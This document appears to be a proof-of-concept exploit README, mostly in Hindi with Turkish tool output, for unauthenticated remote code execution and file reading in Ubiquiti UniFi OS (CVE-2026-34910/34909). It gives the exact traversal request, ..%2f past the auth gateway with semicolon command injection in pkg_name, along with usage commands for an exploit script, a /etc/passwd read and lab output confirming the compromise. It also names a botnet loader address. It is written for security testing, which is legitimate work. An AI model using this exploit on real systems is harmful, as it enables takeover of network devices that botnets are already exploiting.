
CVE-2026-34910/34909 — UniFi OS बिना प्रमाणीकरण RCE + ..%2f प्रमाणीकरण बाईपास के माध्यम से फ़ाइल पठन (CVSS 10.0, KEV, Mirai ITW)
अनप्रमाणित कमांड इंजेक्शन RCE (CVE-2026-34910) + पाथ ट्रैवर्सल
आर्बिट्ररी फ़ाइल रीड (CVE-2026-34909) UniFi OS सर्वर में।
प्रत्येक CVSS 10.0 (क्रिटिकल) · CISA KEV सूचीबद्ध · सक्रिय रूप से एक
Mirai-व्युत्पन्न बॉटनेट (azsxd इम्प्लांट) द्वारा शोषित।
Ubiquiti UniFi OS एक nginx प्रमाणीकरण गेटवे के साथ आता है जो किसी भी अनुरोध को सार्वजनिक मानता है जिसका
RAW URI /api/auth/validate-sso/ से शुरू होता है, लेकिन
NORMALIZED URI द्वारा रूट करता है (जो %2f → / डिकोड करता है और ../ को समेटता है)। एक
ट्रैवर्सल को एनकोड करने से दोनों अलग हो जाते हैं:
GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package?pkg_name=<CMD>&by_cmd=true
→ आंतरिक पैकेज-अपडेट हैंडलर तक पहुँचता है, जो pkg_name को
/bin/sh -c में भेजता है → एक ही अनुरोध में अनप्रमाणित RCE।
/app-assets/... के विरुद्ध वही प्रिमिटिव डिस्क से फ़ाइलें पढ़ता है
(CVE-2026-34909)।
# 1. Auth-bypass probe (non-destructive)
python3 CVE-2026-34910.py https://TARGET:8443 --check
# 2. RCE — run a command (CVE-2026-34910)
python3 CVE-2026-34910.py https://TARGET:8443 "id > /tmp/pwned.txt"
# 3. RCE proof — create a file on the target
python3 CVE-2026-34910.py https://TARGET:8443 --proof
# 4. File read (CVE-2026-34909)
python3 CVE-2026-34910.py https://TARGET:8443 --read /etc/passwd
RCE पेलोड हैंडलर के आंतरिक
sudo systemctl stop <pkg_name> शेल कमांड में एक सेमीकॉलन इंजेक्ट करता है: pkg_name=evil;<CMD> →
sudo systemctl stop evil;<CMD> — इंजेक्टेड कमांड होस्ट पर
ucs-update यूज़र के रूप में निष्पादित होता है।
$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] Komut: touch /tmp/PWNED_34910
[*] HTTP 200
[*] Yanıt: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] İstek gönderildi — komut hedefte çalıştırıldı
# On the target (docker exec unifi-os-vuln):
$ ls -la /tmp/PWNED_34910
-rw-r--r-- 1 ucs-update ucs-update 0 Aug 9 21:52 /tmp/PWNED_34910 ✅ FILE CREATED
✅ पूरी तरह सत्यापित — वास्तविक UniFi OS सर्वर 5.0.6 के विरुद्ध RCE की पुष्टि हुई (भेद्य, सेटअप-पूर्ण) Docker में चल रहा है (hieutq/unifi-os-server:5.0.6-amd64):
..%2fप्रमाणीकरण-बायपास आंतरिकlatest_packageहैंडलर तक पहुँचता है (प्रतिक्रिया:CODE_SYSTEM_ERROR/ "pkg_name required" — nginx 400 नहीं)।pkg_name=evil;touch /tmp/PWNED_34910&by_cmd=trueने लक्ष्य पर फ़ाइल बनाई (-rw-r--r-- ucs-update) → कमांड इंजेक्शन → RCE की पुष्टि हुई।- पैच किए गए UniFi OS 5.1.21 के विरुद्ध वही अनुरोध HTTP 400 लौटाता है (nginx raw-URI/normalized-URI विचलन को अस्वीकार करता है), जो एक स्वच्छ नकारात्मक परिणाम की पुष्टि करता है।
सेटअप वास्तविक वेब विज़ार्ड के माध्यम से पूरा किया गया था (डिवाइस नाम → क्रेडेंशियल → कंसोल पासवर्ड → समाप्त), इसलिए लैब एक प्रोडक्शन-स्थापित उपकरण से मेल खाती है।
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --check
[*] Auth-bypass probe: HTTP 200
[+] SAVUNMASIZ — handler'a ulaşıldı (pkg_name required)
$ python3 CVE-2026-34910.py http://127.0.0.1:8443 --read /etc/passwd
[*] Dosya: /etc/passwd
[*] HTTP 200
[+] Dosya içeriği (80 byte):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
| CVE | गंभीरता | प्रभावित | समाधान |
|---|---|---|---|
| CVE-2026-34910 | 10.0 क्रिटिकल | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34909 | 10.0 क्रिटिकल | UniFi OS Server (pre-SAB-064) | SAB-064 |
| CVE-2026-34908 | 10.0 क्रिटिकल | UniFi OS Server (pre-SAB-064) | SAB-064 |
Mirai/Gafgyt-व्युत्पन्न बॉटनेट (azsxd v2.0 इम्प्लांट) प्रमाणीकरण बायपास +
कमांड इंजेक्शन को अनप्रमाणित RCE के लिए जोड़ता है — मल्टी-आर्क लोडर
185.228.26.16 से स्टेज किया गया। pwndefend लेख देखें।
केवल अधिकृत सुरक्षा परीक्षण और शैक्षणिक उद्देश्यों के लिए।